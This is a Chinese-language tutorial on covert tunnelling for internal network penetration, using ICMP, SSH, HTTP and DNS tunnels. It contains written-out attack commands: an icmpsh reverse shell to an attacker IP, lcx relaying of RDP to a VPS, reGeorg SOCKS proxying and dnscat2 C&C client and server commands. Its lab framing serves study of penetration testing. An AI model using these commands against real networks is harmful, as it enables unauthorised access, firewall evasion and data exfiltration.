隐蔽通信隧道基础知识

经过前面信息收集的学习,知道了我是谁,我在哪,那么这章主要是我能去哪?



什么是隧道:

学习内网安全--隐蔽隧道通信技术-LMLPHP

比如防火墙只开放了53端口,只允许DNS协议通过,这时可将数据封装在DNS协议里面,从内网发出去,在外面再进行解封装。即可实现隐蔽通信。


常用的隧道技术:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规的端口转发。
  • 应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道

内网连通性判断


判断内网的连通性是指判断主机能否上外网等。常见的允许流量流出的端口有80、8080、443、53、110、123等。

1 ICMP协议

  • ping:命令:ping <IP地址>

2 TCP协议

  • netcat:“瑞士军刀”,简称“nc”。通过使用TCP/UDP的网络连接来读写数据。使用命令:nc -zv <IP 端口号>

    nc -zv 192.168.1.7 80

3 HTTP协议

  • curl:curl是一个利用URL规则在命令行下工作的综合文件传输工具。unix自带,windows需要下载。
  • 使用命令:curl < IP:端口号 >

4 DNS协议

  • nslookup(windows)
  • dig(linux)

5 代理服务器

有时候企业办公网利用代理服务器进行上网,判断方法:

  • 查看网络连接
  • 查看主机名是否有”proxy“的主机
  • 查看IE的代理

网络层隧道

1 IPv6隧道

2 ICMP隧道

只要可以ping通,就可以尝试建立ICMP隧道,将数据包封装在ICMP里面,

ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等

A.icmpsh

安装步骤:


在目标主机输入:

icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 内网主机输入,可以连接成功,得到shell。

学习内网安全--隐蔽隧道通信技术-LMLPHP


B.pingtunnel

学习内网安全--隐蔽隧道通信技术-LMLPHP


上面的场景,192.168.1.0/24 代表外网,1.1.1.0/24表示内网,这里模拟的场景是黑客通过WEB获得了WEB服务器的权限。然后通过内网渗透获取数据库服务器的密码。 但是发现不能进行访问,只能ping通。这里用到ICMP隧道技术。


首先在外网的服务器VPS,和WEB服务器 安装一下icmp隧道工具。


下载地址:freshmeat.sourceforge.net/project/ptunnel

安装流程:

运行ptunnel


所以这条语句的含义是 Web服务器 (192.168.1.11) 会把访问内网数据库服务器(1.1.1.10)的3389端口的数据包封装在ICMP隧道里,传给外网VPS服务器的1080端口,在访问攻击者的VPS服务器 192.168.1.9的 1080端口时,会收到相应的数据包。


防御措施:Wireshark 数据包分析,恶意流量分析。


传输层隧道技术


1 lcx端口转发

1.lcx端口转发

A.内网端口转发
目标机器:lcx.exe –slave 公网主机ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555

B.本地端口映射
lcx -tran 53 目标主机ip 3389

2 netcat

下载链接

LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip

参数说明:


Banner信息抓取


获取shell

shell连接有两种:正向shell和反向shell

正向shell,指的是客户端连接服务器,客户端想获取服务器的shell,称为正向shell。即控制方主动发起连接去连接被控制方。

反向shell,指的是客户端连接服务器,服务器想获取客户端的shell,称为反向shell。即被控制方主动去连接控制方。

一般从外网搞内网用的都是反向shell,而在内网里面用的是正向shell。



目标主机没装netcat,如何反向shell


内网代理

外网VPS服务器,通过内网WEB服务器,获取内网数据库服务器shell

学习内网安全--隐蔽隧道通信技术-LMLPHP

边界服务器相当于做了代理,将目标数据库服务器的shell权限转移给外网VPS服务器。


应用层隧道技术--SSH隧道


什么是SSH?

SSH 端口转发能够提供两大功能:1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。

常规操作

ssh [email protected] –P 22

密码登录过程


本地端口转发

学习内网安全--隐蔽隧道通信技术-LMLPHP

原理:

VPS 攻击服务器,不能直接访问内网设备的数据库服务器,但是可以访问WEB服务器,所以可以通过WEB服务器作为跳板,通过WEB服务器访问数据库服务器,然后再将数据传出来。

配置:


利用:

在VPS服务器执行以下命令:

借助WEB服务器做跳板,下面是原理图:

学习内网安全--隐蔽隧道通信技术-LMLPHP


msfvenom实战:

msfvenom是净荷生成和编码的组合,取代了 msfpayload 和 msfencode ,编码是为了免杀

学习内网安全--隐蔽隧道通信技术-LMLPHP

在VPS主机上:


边界服务器上开启端口转发,见上面的配置


在目标主机


然后将生成的rever.exe 程序,复制到想要连接的内网主机上执行。(可以是DC,也可以是其他主机)


在VPS主机执行

学习内网安全--隐蔽隧道通信技术-LMLPHP


远程端口转发

相比较于本地端口转发,跳转主机没有外网IP地址,但是可以访问外网。因此,VPS服务器不能访问它。

所以要用内网的主机,去访问外网VPS。下面的远程主机端口,是VPS的端口。


利用:

在web服务器端执行以下命令:


动态转发

建立一个SSH加密的SOCKS 代理通道,任何支持这个协议的程序都可以使用这个通道进行代理访问。比如:买一台海外服务器,通过这个可以进行访问。

在VPS 服务器执行命令:


应用层隧道技术--HTTP/HTTPS协议

使用工具:reGeorg

下载地址:https://github.com/sensepost/reGeorg


reGeorg工具有PHP,JSP,ASPX等web脚本,将脚本文件上传到服务器中,使用kali本地访问远程服务器的tunnel.jsp脚本文件,返回后利用reGeorgSocksProxy.py脚本监听本地9999端口,即可建立一个通信链路

python reGeorgSocksProxy -u http://[服务器IP:端口]/tunnel.jsp -p 9999

建立隧道后,在使用ProxyChains之类的工具,访问目标的资源


应用层隧道技术--DNS隧道


原理:

DNS协议是一种请求/应答协议,可应用于应用层隧道技术。将数据封装在DNS查询响应数据包里面,进行通信。比较隐蔽,可绕过防火墙的拦截。

用户管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两中种,一种是C&C服务端(攻击者),另一种是C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台定制的服务器,那么依靠DNS协议就可以进行数据包的交换,从DNS协议的角度来看,这样的操作只是一次次地查询某个特定的域名并且得到解析结果,但其本质的问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。简单地说,就是将其他协议封装在DNS协议中进行传输。


DNS隧道工具--Dnscat2

dnscat2:它使用DNS协议创建加密的C&C通道,通过预共享密钥身份验证。该工具客户端是由C编写,服务端是由Ruby编写的。它有两种模式:直连模式:客户端直接向指定的IP地址的DNS服务器发起解析请求。中继模式:DNS通过互联网的迭代查询,指向指定的DNS服务器。

在使用该工具的时候需要先部署域名解析,测试部署是否成功。安装服务端。

启动服务端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用预共享的密钥进行生成验证一面中间人攻击 -e:规定安全级别,open表示服务端允许客户端不进行加密 --no-cache表示禁止缓存,必须要添加该选项

如果是直连模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示监听本地的53端口,自定义连接密码是ms08067.com

在目标主机上安装客户端:测试是否连通于服务端:dnscat.exe --ping vpn.360bobao.com

客户端连接服务端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com

如果服务端使用的是直连模式:dnscat --dns server=

当客户端和服务端连通之后就可以执行命令了

具体详情请参考内网安全攻防这本书


DNS隧道工具--iodine




总结


下面是关于各种隧道技术的总结与比较:

学习内网安全--隐蔽隧道通信技术-LMLPHP


上面就是内网隧道技术的所有知识,要想了解更多详情可阅读《内网安全攻防--渗透测试行动指南》这本书。
05-15 21:21